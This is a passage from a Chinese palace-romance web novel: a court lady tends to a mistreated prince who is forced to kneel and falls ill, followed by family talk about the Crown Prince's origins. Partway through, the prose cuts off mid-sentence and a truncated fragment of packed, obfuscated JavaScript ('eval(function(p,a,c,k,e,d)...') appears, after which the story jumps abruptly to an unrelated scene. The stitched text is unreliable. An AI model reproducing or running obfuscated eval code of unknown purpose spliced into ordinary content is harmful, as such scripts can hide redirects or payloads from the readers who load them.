他淡淡笑了笑道:“无事。”说着又将左手向前递了递,欲去接书。 姜清窈却没有将书递还给他,而是开口道:“殿下手腕处的伤还没有痊愈吗?” 谢怀琤神情一凝,下意识摇头:“已经痊愈了。” “是吗?”她一双妙目盈盈望着他,“那方才殿下为何躲闪?” 谢怀琤对上她洞悉一切的目光,只觉得喉头滞涩,说不出话来。他仓促地低下头,含糊道:“......我不曾躲闪。” 姜清窈心知他定是一番动作牵动了手腕的伤口才会露出如此神情。她想到那日,他与六皇子比试了不少招数,尤其是六皇子出言不逊后,他那一拳使了极大的力道。想来正因如此,那伤才会反复发作,迟迟无法愈合吧。 她轻叹一声,正想把书递给他,却见严彻从谢怀琤身后走了过来,道:“怀琤,夫子唤你前去。” 谢怀琤回神,颔首道:“好。”说着,他便转过身向着翠微堂里走去。他走了几步,似乎想起什么,脚步微微一顿,却终究没有停下步子。 姜清窈只来得及唤他一声“殿下”,便见少年已经极迅疾地走远了。她看着手中的书,无奈一笑。看来,只能择日再设法给他了。 只是这一别之后,她接连几日都不曾遇到谢怀琤。 这一日散学,姜清窈在翠微堂门前等了许久,却始终没有见到谢怀琤。 “姜妹妹,”三皇子自殿内走出,“我瞧你徘徊许久,是有何事?” 三皇子在这皇宫中是个特别的存在。他不似太子那般尊贵而不易接近,也不似六皇子那般顽劣惹人不喜,更不似谢怀琤那般处境尴尬。因而,他与众人关系都不错。加之六皇子素来醉心诗书,又好饮酒作诗,于朝堂之上更是无半分势力,太子对他倒也亲厚。 姜清窈便如实道:“前几日我偶然从致远阁借走了一本五殿下心爱的书,便想着交给他。”她向着翠微堂里看了看,问道:“五殿下还在里头吗?” 三皇子皱了皱眉,道:“今日五弟说是身子不适,因而已经早早离开了。” “五殿下病了?”姜清窈怔住,可她分明记得前几日见时他还好好的。 告别了三皇子,姜清窈犹豫片刻,打算先去藏书阁将书原样归还。去藏书阁正巧经过宫中一段小路,自几处亭台花园之中中穿行而过,这个时辰少有人烟。她怀揣着书册,刚走了几步,却忽然听见不远处传来一阵清脆的瓷器碎裂声,伴随着六皇子咄咄逼人的吼声:“谢怀琤!” 姜清窈心中一惊,忙快走了几步,隔着重重枝叶树影,依稀看见两人正面对面站着。背对着自己的正是六皇子,他正双手叉腰,怒气冲冲地冲着眼前人喊道:“你可知,这是母妃吩咐了人要送给父皇的养生汤饮,用了多少名贵的药材,熬了许久才得了这么一盅?可你竟这样横冲直撞,不但打翻了汤饮,还污了母妃的衣裙,你让母妃如何见驾?” 她定睛一看,谢怀琤脚边散落着一堆碎瓷片,还有浅褐色的汤汁在地上蜿蜒流淌,冒着腾腾热气。少年默不作声,只面无表情半垂着头。 目光一转,姜清窈发觉六皇子身边还站着一个衣饰华贵的女子,正是贵妃。此刻,她正冷冷地望着眼前的一切,眼底泛着寒意,任由六皇子对着兄长大呼小叫,肆意责骂。 六皇子说累了,重重喘了口气,喝道:“你说,该如何向父皇赔罪?” 片刻后,谢怀琤没有争辩,只安静地低下身子,一片片捡起那锋利的碎片。六皇子犹嫌不够,冷嗤道:“怎么,难道你以为这样做便可以了?” 他道:“那日万寿宴你冲撞惹恼了父皇,今日又打翻了送给父皇的汤饮,怨不得父皇一见了你就心烦!”说话间,他厌恶地踢了一脚,那尖利的瓷片随着他的动作碾过谢怀琤的指尖与手背,登时划破了皮肤,鲜红的血珠冒了出来。 那骇人的颜色让姜清窈心惊不已。她眼睁睁瞧着那血一滴滴落入宫道的土地里,将那洁白的瓷片染上一层殷红之色。许久,谢怀琤面无表情地开口:“方才是我一时鲁莽,请贵妃娘娘恕罪。” 贵妃止住六皇子的动作,淡淡道:“好了颂儿,何必和你兄长这般说话?”她嗓音柔婉,听起来十分温和体贴,“这原本就不是什么大事。” 她向前一步,绣着精致花纹的鞋底慢慢迈步到了谢怀琤身边,轻巧踢开几片碍事的碎瓷,仿若无意地踩踏过谢怀琤的衣角,这才道:“颂儿,我们先去拜见你父皇吧。即便没有汤饮,你父皇也不会怪罪什么。”说着,母子俩便自他身畔擦肩而过,笑语声声,逐渐走远。 谢怀琤留在原地,低头看着自己手上的血迹,仿佛感受不到疼痛一般。他捡起散落在地的最后一片碎瓷,却并没有放在一边,而是盯着那瓷片看了许久。 随后,他手臂缓缓绷紧,将那锋利的瓷片重重握在了掌心。 姜清窈脊背一麻,来不及思索,便提起裙角快步奔了过去,一把捉住了他的手腕, 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他原是见惯了血的。这些年受过的磋磨与殴打,落下的伤口和病痛不计其数,他无数次看着自己身体上出现新的伤口,汩汩流血,却毫不在意,眼底只有漠然与麻木。然而今日,那血色却刺痛了他的眼睛,让他自心底燃起一阵慌乱与痛楚。 姜清窈见他半晌不作声,正想再问一句,忽然觉得一抹暖意覆上手指。她一怔,低头看去,却见谢怀琤动作轻柔地捧起了自己的手,用指腹缓缓拭去她指尖的血。 她这才感觉到隐约的疼痛,意识到是方才被碎瓷所伤的痕迹。 谢怀琤慢慢拂过那处小小的创口,似乎怕弄疼了她一般小心翼翼。姜清窈没想到他会不顾自己那可怖的伤,满眼都是她,一时间心尖仿佛被一阵风吹拂过,有些莫名的悸动和起伏。 一阵恍惚,她想起年幼时两人似乎也曾有过这样的情形。 往事激荡在心头,姜清窈更觉酸楚。她一低头,却见他掌心依然在滴着血,顿时一惊,生怕他这伤不及时敷药包扎又会落下疤痕,连忙用了些力气挣脱了谢怀琤的手,语气急促了几分:“你放开我!” 他身子僵硬一瞬,看着空落落的手心,随即缓缓抬眸,好似从迷思中醒转一般,眼底多了几分清明,又恢复了惯常的平淡。 “是我冒犯了。”谢怀琤的声音很冷,顷刻间已全然没有了方才的模样。 他说着,似是自嘲一笑,随即转身便欲离开。 擦肩而过的一瞬,少女抬手,轻轻拽住了他的衣袖,那力道虽不大,却让谢怀琤不由自主停住了脚步。 须臾,她将一方洁白的绢帕覆上了他掌心的伤口,同时用手心轻轻按压住,两人的掌心紧紧相贴。谢怀琤清晰地感受到那炽热的温度侵入他掌心的每一处脉络,如她身上的气息一般,丝丝缕缕缠绕周身。 那小巧的绢帕很快被血染红。姜清窈正欲换一方干净的帕子,却不防眼前人忽然收紧了手指,带着些强硬的、不容拒绝的力度,隔着帕子扣住了她的手。 30. 罚跪 “殿下?”姜清窈不知他心中所思,低声唤了一句。 谢怀琤沉默良久,缓缓松开了手。他一动作,那帕子便险些掉落。姜清窈见那血还在往外渗着,便翻过他的手掌,继续按住他的伤口止血。 直到那几道破开的口子不再向外冒着血珠,她才略松了口气,道:“殿下这伤有些深,怕是需要敷药后再包扎才能愈合,还是快些回宫吧。” 谢怀琤盯着那帕子,那里原本绣着精巧的花纹,此刻却被鲜血所污,沾染上了别的颜色。 许久,他抬眸看向姜清窈,问道:“为什么?” 姜清窈怔怔望着他。 谢怀琤用指尖摩挲着那绢帕,笑容凉薄:“如此精致的帕子,却用来给我这样深陷污泥的人止血裹伤,难道你不觉得糟蹋吗?” “殿下何出此言?”她没有丝毫迟疑地开口。 “我自小结识的那个五殿下,他从不会这般自厌,”姜清窈抑着微微哽咽的嗓音,“他曾对我说,即便是污泥,也能开出盈盈芙蕖。” “我知道殿下会说,你如今已不是从前的那个五殿下了,”姜清窈缓缓摇头,“世事无常,人或许会变。可在我看来,殿下的心性和性情从不曾更改过分毫,你依然是那个永远不会消沉颓废的谢怀琤。” 那三个字被她用又轻又柔的声音念着,谢怀琤只觉得胸腔里的心跳得快了些。他喉头发堵,半晌说不出话来。 “殿下,愿你善自珍重,”姜清窈看着他,目光坚定,“你要好好活着。” 她专注地凝望着他:“我想,并没有到山穷水尽之时。殿下若是肯迈出那一步,便一定会有柳暗花明的时候。” 许久,谢怀琤嗓音滞涩,略带沙哑地道:“......好。” 那方帕子被他用力攥住,用力到指尖狠狠抵在了伤口处,即便疼痛万分也不肯松开。谢怀琤望着眼前的少女,再度感受到那颗死寂已久的心,因为她的缘故,一而再再而三地蓬□□来。 有一个疯狂却抑制不住的念头,在他心底生根发芽。 姜清窈见他终于不再说那般自轻自贱之语,这才放下心来,道:“殿下快些回去吧,你的伤要紧。” 谢怀琤几不可闻地应了一声,用眼神示意她先走。 姜清窈无奈,只好率先迈开步子离开。 待她走远,谢怀琤却并未离开。他站在原地许久,才将那帕子珍重折好藏进怀里。做完这一切,谢怀琤抬头,不出所料地看见了自远处快步走来的宫人。 他含着一抹嘲弄的笑,眼神很快变得森冷,看着那人逐渐走近。 那是——启元殿的内侍,也就是皇帝身边的人。 那内侍生了一副颐指气使的模样,走近了后冷冰冰地上下打量了谢怀琤几眼,尖声道:“五殿下,陛下命奴婢前来传口谕。” 谢怀琤毫不惊讶,静静听着他道:“陛下有谕:五皇子狂悖无礼,冒犯贵妃,不敬父皇,便在此处罚跪,静思己过,跪满三个时辰方可回宫。” 说罢,那内侍面色阴沉道:“五殿下,您好大的胆子!贵妃虽不是您的母妃,却也是长辈,您竟敢如此肆意妄为!若不是陛下心细,发觉了贵妃手上的烫伤,还不知您竟会做出这种事情来!” “您可知,陛下龙颜震怒,若不是贵妃在旁婉言求情,您所受的罚可就不单单是罚跪这么简单了!既然如此,您领了罚,可别忘了改日向贵妃娘娘谢恩啊。” 内侍阴阳怪气说完这番话,又厌恶地皱眉嘀咕道:“可真是倒霉,本想着偷个懒,偏生还要在此看着他跪满三个时辰,晦气!” 谢怀琤并无丝毫辩解的意思,对内侍的话也仿若未闻,只利落地掀开袍角,毫不犹豫地跪了下去。此处宫道铺着的是鹅卵石,颗颗凸起,即便隔着衣裳也足够硌人。他的膝盖重重落向地面,骨头与坚硬的鹅卵石相撞,发出沉闷的响声,单单是听着便足以令人头皮发麻,如有痛感,可他连气息都不曾紊乱过分毫,竟像是感觉不到疼痛一般,以至于内侍都讶异地看了他一眼。 风吹刮着四周的树丛,也将天色逐渐吹暗。掌心的血已凝干,翻开的皮肉与柔软的丝帕黏连在一处,稍一动作便会牵动伤口,膝盖处渐渐也蔓延起如针扎斧凿一般的疼痛,慢慢地便失了知觉。谢怀琤面色不变,只微微仰着头,望着渐渐攀上苍穹的那一弯明月。 茫茫无边际的黑夜之中,那抹月是唯一的亮光。而这浩渺天地之间,人人都对他鄙夷厌弃,只有这明月总是温和地、慈悲地洒下大片月华,轻轻地拥抱着他破败的躯体。谢怀琤的眼底被月光刺得酸涩,他眨了眨眼,仿佛看到了一双明月般皎洁的眼睛。 * “什么?五殿下被罚跪了?” 听着谢瑶音的话,姜清窈惊愕万分。 谢瑶音点头:“我也是今日晨起听母后说的,昨晚五皇兄被父皇罚跪,直到晚间才被准许回宫。” “是什么缘故?”她问道。 “说是五皇兄冲撞了贵妃,不敬了父皇。父皇恼怒之下才罚的他,”谢瑶音说着连连皱眉,“可我觉得五皇兄从不是这般放诞无礼的人。” 姜清窈陡然想起昨日在宫道旁目睹的那一幕,心中一紧:“莫非是为了那桩事?可当时贵妃并未说什么,不过是六殿下冲他发泄了几句罢了。” 难道是贵妃与六皇子面圣之后,告了此事的状? “听说五皇兄昨夜回宫后便发了高热病倒了,”谢瑶音没听清她的低语,只不住摇头,“如今虽快开春了,但若是在那地上跪久了,也是会寒气侵体的。” 姜清窈心中挂念着此事,待散学后回了永安宫,皇后道:“五皇子卧病在床,太后已经遣了人前去探望,待会本宫也会去一趟。” 谢瑶音小心道:“母后,您若是去了,父皇会不会......” 皇后知晓她的意思,摇头道:“既然太后表了态,我身为皇后,自然也该前去瞧瞧这孩子。陛下不会说什么的。” 说到这里,皇后幽幽叹了口气:“听说,这孩子又遇上了贵妃和六皇子,才会招来此祸。” 谢瑶音哼了一声道:“我就知道,一碰上他们,准没什么好事。可我不明白,父皇到底为何如此厌恶五皇兄呢? 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听见那个名字,皇帝眼底翻涌起奇异的光,面上似悲似怒,嘴唇也轻轻颤抖。他双手逐渐握成拳,声音低沉得仿佛在压抑着无尽的情绪:“......朕做不到。” “秋氏为妃的那些年,她柔婉贤淑,进退得宜,从未做过任何恃宠生娇或是逾越本分的事情,皇帝,你究竟为何要冷待她?”太后紧紧盯着他,声声质问,“难道你一直介怀她入宫前曾与人定过亲?” 皇帝不语,只是呼吸略急促了几分。太后看穿了他的心思,长叹一声道:“你身为天子,什么样的后宫佳丽得不到?可你偏偏就为了这个女子而屡屡折戟。” “当初你执意要带她回宫,亲口说不会介怀那桩旧日的婚约,”太后的神情严肃了几分,“皇帝,你究竟是如何想的?” “我记得秋氏与她那未婚夫君不过是父母之命,并没有多么深厚的情分,她入宫后也是一心一意地侍奉你,你到底在不甘心什么?” 皇帝面颊上的肌肉微微抽动。父母之命?无人知晓,他们本就情投意合,若没有他的介入,便会是一对人人艳羡的眷侣。 到底为着什么缘故冷落她?只有他知道,那不过是内心深处的不甘与嫉妒在作祟。无数个得知内情的日夜,他脑海中有个声音在叫嚣:凭什么?为什么?他身为天子,哪里比不上那个平民?何以她的心里眼里,永远都为那个人留着位置? 此中缘故,他是万万不肯向旁人说起的,太后亦不知情。 太后见他不言语,痛心疾首:“即便你对她再有不满,斯人已逝,何必还这般耿耿于怀?琤儿是你的亲儿子,从前是那样的神采飞扬,不过几年的时间,你再瞧瞧他变成了什么样?皇帝啊,你怎么忍心这样磋磨他?” “前几年我不常在宫中,竟不知这孩子落得如此境地,”太后肃容道,“皇帝,我不管你如何想,总之往后,我会多看顾这孩子的。” “难道,你真想要了他的性命?” 皇帝胸口一阵闷痛,仿若被重锤击中。 31. 呓语 二月春风似剪刀,刮得人脸颊生疼。姜清窈双手捂了捂脸,抬头看向那高高的匾额。 自昔年秋妃仙逝,这座宫殿便再没人打理,自然而然就衰败了下来。“长信宫”三个字历经了多年的风吹雨打,已然变得斑驳模糊。 “我还记得这座宫殿从前的盛景。秋娘娘喜爱梨花,父皇便吩咐移植了上等的梨树在院子里,春日梨花如雪,煞是好看。”谢瑶音望着长信宫的牌匾,幽幽叹息道。 姜清窈的目光落向院子里那棵已枯死了多年的梨树,想起从前那生机勃勃的模样,只觉得眼底发酸。她深吸一口气,道:“阿瑶,我们进去吧。” 两人迈步进了院子,绕过影壁,沿着殿前的石阶缓步而上。正巧里间有人抬手掀了门帘出来,对上她们的目光,微微愕然,随即忙不迭地俯身请安:“二公主,姜姑娘。” “福满,五皇兄如何了?”谢瑶音问道。 福满有些局促地搓了搓衣角,回话道:“回二公主的话,奴婢正要去偏殿取熬好的药,再服侍殿下服下。这会子是平安在寝殿伺候,二公主和姜姑娘是来探望殿下的,便请进吧。”说着,他揭开门帘,示意二人进殿。 姜清窈向着他一颔首,举步进了殿。 望着那熟悉的陈设与格局,许多有关长信宫的记忆涌上心头。姜清窈眼前一阵模糊,仿佛看见了从前那座宫殿。那时皇帝独宠秋妃,为她的宫殿添置了无数金银珠宝、琉璃翡翠。但秋妃生性淡泊,并不多么喜欢把寝殿布置得金碧辉煌,因此长信宫的陈设总是简单雅致的,并不流于俗艳。 皇帝知她不爱浓烈的熏香,独爱花香,便又用各色鲜花调制了不少天然香料,使得长信宫永远弥漫着清雅宜人的花香味,沁人心脾。 秋妃常常临窗而坐,抿着清茶,翻着手边的书。她的鬓发被窗外透进来的微风拂动,整个人显得娴雅恬淡,如同古画上的女子。 “二公主,姜姑娘请。”福满的声音让姜清窈从沉思中醒转,她定了定神,跟着他向内室走去。 尚未进门,便有一股浓重的药味扑面而来。福满率先掀帘,姜清窈但见里间一片昏暗,只从窗缝隐约透进来几缕光。她适应了一会这样的光线,这才随着福满的动作看清了床榻的位置。 帷帐低垂,凌乱地歪扭着,并未完全拉上。她屏息,隐约辨认出帐内睡着的人影。许是因为病中,他的呼吸沉重而急促,整个人睡得也极不安稳,口中模模糊糊在说着些呓语。 福满低声吩咐侍候在床榻边的平安去煎药沏茶,他则小心翼翼地点了烛火,低声道:“里头黑,二公主和姜姑娘请外间坐吧。” 两人依言正欲离开,床上的谢怀琤却忽然动了动身子,低声唤了句什么。 福满以为他醒了,忙上前道:“殿下有什么吩咐?” 谢怀琤却又不说话了。福满又候了片刻,这才蹑着步子向外走去。谢瑶音率先迈步出去,姜清窈走在最后,步伐不由得迟疑了些。她回头看向那床帐后的人,轻轻叹了口气。 紧接着,谢怀琤又低低地开口了。 “母妃......”他的声音沉闷而滞涩,带着些微弱的哽咽。 姜清窈心弦一颤,不由自主止住了步子。 “殿下说什么?”福满愣住。 姜清窈低声道:“殿下想念秋妃娘娘了。” 此话一出,福满眼圈一红,那泪便抑制不住地落了出来。他连忙抬袖用力去擦,喃喃道:“也就只有这个时候,殿下才能念叨几句娘娘。这些年,没有人敢在宫中提娘娘,谁不知道,若是传到了陛下耳中,便是大罪。殿下纵使心中再思念娘娘,却也无法宣之于口。” 他一时激动,待说完这些话才有些后悔失言,忙忙抹净泪痕去沏茶了。姜清窈在原地站了会,眼看着门帘垂落,隔绝了里间与外头的光线,此刻一片寂静,只有少年起伏的呼吸声。 她几乎是下意识地转过身去,走向了床榻边。 方才谢怀琤大约是睡得不安稳,床帐被他的手臂扫开了一道缝。姜清窈借着微弱的光线看过去,看见了一张病容憔悴的脸。他的双颊泛着异样的红晕,嘴唇是苍白的,此刻轻轻抿着。 她的目光滑过被褥,想起从太医口中听到的消息:那晚的罚跪不仅让他寒气侵体高热卧病,还在他膝盖处留下了大块的淤青。凝神细闻,便可嗅到一股隐约的膏药味道。 少年就那样毫无生气地躺在那里,鬓发凌乱,眉头紧紧蹙着,似乎在睡梦中也强忍着痛楚。姜清窈无声叹了口气,从怀中取出那被体温熨得温热的书册,轻手轻脚塞在了他枕边。 她的手指无意间擦过他的耳垂,一冷一热,激得指尖一阵酸麻。恰在此时,谢怀琤似有所觉,微微地偏过了头,那滚烫的呼吸尽数落在她手背上。姜清窈心头一跳,连忙收回手。 静了片刻,她见谢怀琤依然沉沉睡着,并无醒转的迹象,这才松了口气,动作愈发轻柔起来,唯恐吵着了他。 自打太后表了态,宫人也不敢再像从前那样苛待谢怀琤,因此供应长信宫的一应物件较从前更齐备了些。如今春寒料峭,殿内总算是有了足够的炭火,多了些暖意。 谢怀琤起初是蜷缩在被褥中,过了些时候才慢慢舒展开来。他的鬓发与额角都有些湿意,想是身体发了汗,有了退热的迹象。姜清窈低头看他时,恰好看见一滴汗沿着他的发梢缓慢淌下,越过眉骨和眼窝,眼看便要坠上他浓密乌黑的眼睫。 恰在此时,谢怀琤眉头皱了皱,似乎被那黏腻的感觉惹得十分难受。姜清窈见状,便从袖中取出帕子,轻轻地揩去那滴碍事的汗。 她略低了身子,小心地把帕子尾端攥在掌心,生怕那纤长的绢帕覆在他面上,扰了他好眠。待拭去汗,姜清窈微凉的指尖无意间扫过谢怀琤的面颊,一触即离。 被濡湿的鬓发乱糟糟地覆在他额头,她顺手替他捋了捋。正欲收回手,不防眼前的少年朝着她的方向翻了个身,原本放在身侧的左手顺势落了过来,擦过她手腕处的皮肤。 姜清窈望着他,一瞬间心中好似涌起了千言万语,却无法宣之于口。她垂眸,见谢怀琤的手臂探出了被褥,裸露在外,便抬手握住,想要掖进被子里。 她的五指刚刚搭上他的手背,便感觉到那炙热的手蓦地翻转了一下,将她的手纳进了手心,紧紧抓住。 谢怀琤虽然在睡梦中,这手上的力道却丝毫不轻,却不至于攥痛了她。姜清窈被他的动作激得心一阵狂跳,一时间忘了挣脱。 他的动作好似抓住了什么珍贵的物事,以至于手指收拢,以一个保护的姿态将她的手牢牢圈住,像缺乏安全感的婴孩,流露出一点无形的依恋。姜清窈想起方才他的呢喃之语,不禁想,他是不是在梦中见到了故去已久的母妃,想起曾在母妃身边无忧无虑撒娇的孩提时候。 思及此,她另一只手轻轻覆上去,拍了拍谢怀琤的手背,想给他一点抚慰。 不防眼前人身子动了动,慢慢启唇,一句轻微而沙哑的呓语含糊不清地从他口中吐出,唇齿间有幽微的缱绻之意。 姜清窈一阵恍惚,愣愣地定住了身形,只觉得心头一片混乱。 她听得真切,他唤的那句话是—— “窈窈。” * 谢怀琤这一病,由于太后率先表了态,因而太子等人也依礼前去探望了。 但自始至终,皇帝都没有过问过一句,更没有差人赐过药或是亲去探望。众人琢磨良久,认清皇帝对五皇子还是从前的态度,并无半分转圜,只是太后年迈心慈,心疼孙儿罢了。 谢怀琤养病了不少时日,六皇子出乎意料地安静了下来,不知是不是贵妃私下训诫了他的缘故。姜清窈每日离开萤雪殿时,总忍不住向着翠微堂的方向望去,片刻后又收回目光暗叹自己糊涂。 直到三月开春时节,谢怀琤才算是彻底好转。 他的痊愈在宫中并不那么引人注目,如同一点微小的涟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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姜元昀与秦瑜容二人对视一眼,似有些踌躇。最后,还是姜元昀开口问道:“窈窈,你如今在宫中长住,平日与太子殿下接触多吗?” 姜清窈怔了怔,摇头道:“我与太子殿下偶尔会在演武场碰上,要不然便是在姑母处时常会遇见他前来请安。” 她见父亲神色严肃,不觉忐忑道:“父亲为何忽然问起此事?” 姜元昀道:“如今朝野内外皆知,陛下有意为太子殿下选妃。去岁那场冬祈便有此意,只是时至今日也不曾定下。” 他饮了口茶,道:“窈窈,你与太子殿下年岁相当,又有表兄妹之名,因而会有许多人的目光落在你身上。为父今日想问你一句话,你对太子殿下是否有意?” 姜清窈愕然,连忙摇头道:“自然没有。我原本就与太子殿下不甚熟悉,不过偶尔见上一面。” 她抿了抿唇又道:“在我心中,太子殿下是高高在上的储君,我对他只有敬畏,并不敢真的把他当作表兄,更不会有其他心思。” “况且......”姜清窈犹豫片刻,“我想,以姜家如今的形势,更应当在此事上避嫌,否则只怕会引起陛下的误解。” 她心中一紧,抬头道:“父亲为何会忽然问起此事?难道——” 姜元昀微露赞许之色,道:“窈窈很明事理。你放心,我想以陛下的决断和对朝局的把控,他不会想着定你为太子妃。我只是担心会有些居心叵测之人盯着你与太子相处的细枝末节,再兴风作浪,于你而言便是祸患。” “父亲放心,我平日只与阿瑶朝夕相处,时常相伴,并不会与太子有什么私下接触。”姜清窈想起那个犹如戴了多层面具的谢怀衍,不知为何只觉得脊背微微发凉,本能地便想远离。 姜元昀颔首:“如此甚好。” 他隔了片刻,又幽幽长叹一声:“虽说太子名义上与姜家是亲眷,但他毕竟......不是你姑母的亲子。” 32. 春猎 姜清窈想起往事,垂首不语。 如今的太子谢怀衍虽口口声声唤着皇后“母后”,但实际上却并非皇后所生。 谢怀衍的生母是已经故去的先皇后,也是皇帝的结发之妻。先皇后出身徐家,原本也是书香门第,族中子侄皆出落得一表人才,不少人在朝为官。徐皇后亦是温柔娴雅、饱读诗书的女子,与皇帝琴瑟和鸣。 徐皇后身子不好,曾小产过几次,每次都未满三月。彼时的皇帝一则爱重她,二则总盼着能有个嫡长子,因而也甚少去其他嫔妃那儿,又请了不少名医为她调养身体。在皇帝登基后半年,徐皇后终于再度怀孕,并且被太医诊脉后说胎儿强健有力。 她小心看护,终于风平浪静地怀到了八个多月。然而就在此时,徐皇后那在朝为官的兄长徐广被卷入一桩极其浩大的贪腐案中,引起皇帝震怒。那时皇帝登基不久,正是严抓朝堂腐败的时候,而徐广仗着自己国舅爷的身份肆意妄为,暗自谋夺钱财,中饱私囊,丝毫不把朝廷法度放在眼里。最终事情败落,他成为了涉案钱财数目最大的几个官吏之一。 皇帝原本对这位妻舅颇为厚待,喜他饱读诗书、在朝政之事上常有精辟见解,不想一朝事情败露,自己百般珍视的人才却是这样一个贪婪丑恶之徒,自然勃然大怒,果断将徐广下狱,待一切罪行审问清楚后判了他斩刑。 但他毕竟顾念皇后,便命人在皇后生产之前不可用此事惊扰她。然而天底下没有不透风的墙,皇后在临盆之际意外得知这个消息,心下大恸,惊怒交加,既恨兄长罪孽深重,又伤徐家百年名声凋零,以至于生产时情绪剧烈起伏,虽然顺利生下了一个男婴,自己却不幸难产崩逝。 皇帝在一夕之间经历了悲喜两重天。他拥有了日夜期盼的嫡长子,却失去了伉俪情深的元妻。无人知晓,那刻的皇帝心中究竟作何感想,只知道他从此无比珍爱这个孩子。 只是孩童年幼,必须要有一位性情稳重、家世不低的妃嫔抚育,皇帝百般思索下,将长子交给了彼时身居妃位的姜氏,并在丧期满后晋封她为贵妃,摄六宫事。 待皇长子两岁时,皇帝许是彻底走出了丧妻的痛苦,下旨封贵妃姜氏为皇后,同时册封皇长子为太子。 这段往事在宫中并不是什么秘密,皇帝亦没有对谢怀衍隐瞒他的身世。只是徐家自那次风波后便渐渐衰落下去,时至今日在朝中已没有了势力;而先皇后去世得早,后来宫中便甚少有人提起她。因此时间长了,众人便默认太子是姜氏之子了。即便得知如今的皇后并非自己的生身母亲,谢怀衍也并未改变过一丝一毫,依旧恭谨孝顺,令朝野内外赞叹不已。 因而,姜清窈虽可唤他一声“表哥”,两人却没有任何亲缘关系。她对这位表哥,也并无什么多余的情分。 说完了正事,姜元昀见妻女面上都是郁郁之色,有心想说几句玩笑话,便看向姜清窈,含笑道:“我们窈窈也已及笄了,不知有没有什么中意的人?” 姜清窈微愕,只觉得双颊顷刻间滚烫起来,忙道:“父亲莫要取笑我了,我......自然没有。” 秦瑜容嗔怪道:“瞧你,能不能说些正经话?窈窈日日待在宫中,每日碰面的不过是几位皇子罢了,何来中意?” 姜元昀沉吟道:“除去太子和三殿下,如今宫中便也只有五殿下和六殿下了。那个六殿下,我有所耳闻,听闻他年幼又极顽劣,像个混世魔王一般。至于那位五殿下......” 姜清窈陡然听见谢怀琤的名字,只觉心头剧烈震颤,颊上更添了几分热度,只是低眸盯着自己的袖口不语。姜氏夫妇不曾留意女儿的情态,只自顾自叹息道:“那位五殿下也是个可怜人,身为皇子,这么多年竟活得如此凄惨。” 她闻言,亦喃喃道:“正是。” “窈窈,你说什么?”秦瑜容看向她。 姜清窈抬头,面上绯色已然褪去,神情一如既往的沉静,语气则带着几分怜惜:“我在宫中也曾亲眼目睹过五殿下的遭遇,他确实......很不易。” 秦瑜容眼底泛起几分哀伤:“秋妃若是泉下有知,只怕会肝肠寸断。” “秋娘娘从前待我也是极好的,”姜清窈轻声道,“因此,我一见到五殿下,便忍不住觉得神伤。”才会一而再再而三靠近他。 “窈窈,其实有一件事,我一直不曾告诉你,”秦瑜容看向她衣裙上的宫绦,“你佩在身上的此物,其实是秋妃送给你的生辰礼。” “什么?”姜清窈怔住,忙低头捞起那宫绦,手指轻抚过丝线表面,感受着那精巧繁复的脉络与走线,不禁微微发颤,“这竟是......秋娘娘的手艺?” 原本迷蒙的记忆仿佛就此撕开了一道缝隙,姜清窈只觉得笼罩在眼前的浓雾散去了一些。她记得,秋妃确实极擅针线刺绣之术。从前她在宫中时,还曾缠着秋妃替自己缝个香囊。 秋妃一向对孩子们最是耐心,自然是温柔应下。只是那香囊还未来得及缝制好,秋妃便身染沉疴,一病不起,后来更是溘然长逝。时至今日,姜清窈依然还记得病榻上那个虚弱却依然强撑着笑意的女子,顿时眼眶发酸。 秦瑜容亦是眼圈泛红,侧身过去用帕子拭了拭,这才柔声道:“那时我去宫中拜见你姑母后,便去了秋妃宫中探望了一遭。秋妃见了我,便说起曾允诺过你的香囊,可惜她病中无力,注定做不成,只能将从前做的宫绦暂拿出来送你。” “那时尚未到你的生辰,我便先收了起来,打算待日子到了再取出来。谁知......”秦瑜容轻叹一声,语带哽咽。 姜清窈明白。不过一两月,秋妃便香消玉殒。而在那之后,皇帝震怒,褫夺了她一切尊荣,从此这个名字成为后宫的禁忌,再无人敢提起。 “窈窈,我知道你一向与秋妃亲近,只恐告诉你真相会徒增你的伤悲,便只能搪塞过去,只说是你一位长辈所做。”秦瑜容说着,泪水早已沿着面颊流了下来。 姜清窈攥紧了那宫绦。丝线制成的小玩意那样轻薄柔软,仿佛稍一用力便会断裂开来,她抚摸着那表面,仿佛握住了秋妃那纤细瘦弱的手。 “母亲,”她抬头,“我会一直佩在身上的,这样便能时时记住秋娘娘。” 秦瑜容望着女儿,轻轻点头:“她一定会很欣喜的。” * 即便再不舍,姜家也无法违抗圣旨。三日后,秦瑜容为姜元昀打点行装,与一双儿女一同送他离京。 姜元昀翻身上马,手握缰绳,再度回头深深看了眼妻儿,将那些伤怀之语尽数咽了下去,只和煦一笑,便领着手下纵马疾驰而去,留下满地尘土飞沙。秦瑜容望着他的背影,满心酸楚,但顾忌着城外人多眼杂,便强忍了泪意,只一动不动站在原地。 待三人回了府,秦瑜容才让忍了一路的泪落了下来。姜湛与姜清窈自知再多的安慰也只是徒劳,只能静静侍立在侧。 许久,秦瑜容声音微哑道:“你们下去吧,我想一个人呆会儿。” 兄妹二人无奈,只好一步三回头地退了出去。姜清窈立在廊下,望着那悠远晴好的天色,心头却仿若笼罩着无尽的阴霾。 姜湛在身侧,轻轻揽一揽妹妹的肩膀,宽慰道:“窈窈,相信父亲会平安顺遂的。我们也不能总是郁郁寡欢,否则让母亲瞧见了,更引她伤心。” 姜清窈点点头:“我知道了,哥哥。” 兄妹俩在府上陪伴了秦瑜容数日,最后她出言道:“好了,陛下虽然开恩,你们却不能恃宠而骄,还是快些回宫里去吧。” 姜湛虽领了御前的差事,但却不必住在宫中,可以日日回府。而姜清窈自知这一去,又不知何时才能归家,因而迟迟不肯走。只是她也知道,不可违逆皇帝的意思,因此在秦瑜容的再三催促下,赶在开春时节回了宫。 皇后见了她,想起自己甚至无法亲自送一送离京的兄长,不免又有些伤感。好在谢瑶音在旁凑趣,才使得这离别的情绪稍稍淡了淡。 “母后,窈窈,再过些时日便是三月春猎,那时我们又可离宫去猎场散散心,你们也该高兴些,”谢瑶音一想到能够出宫,便喜上眉梢,“猎场那里百草丰茂,能够自由自在地策马,比整日闷在宫中强多了。” 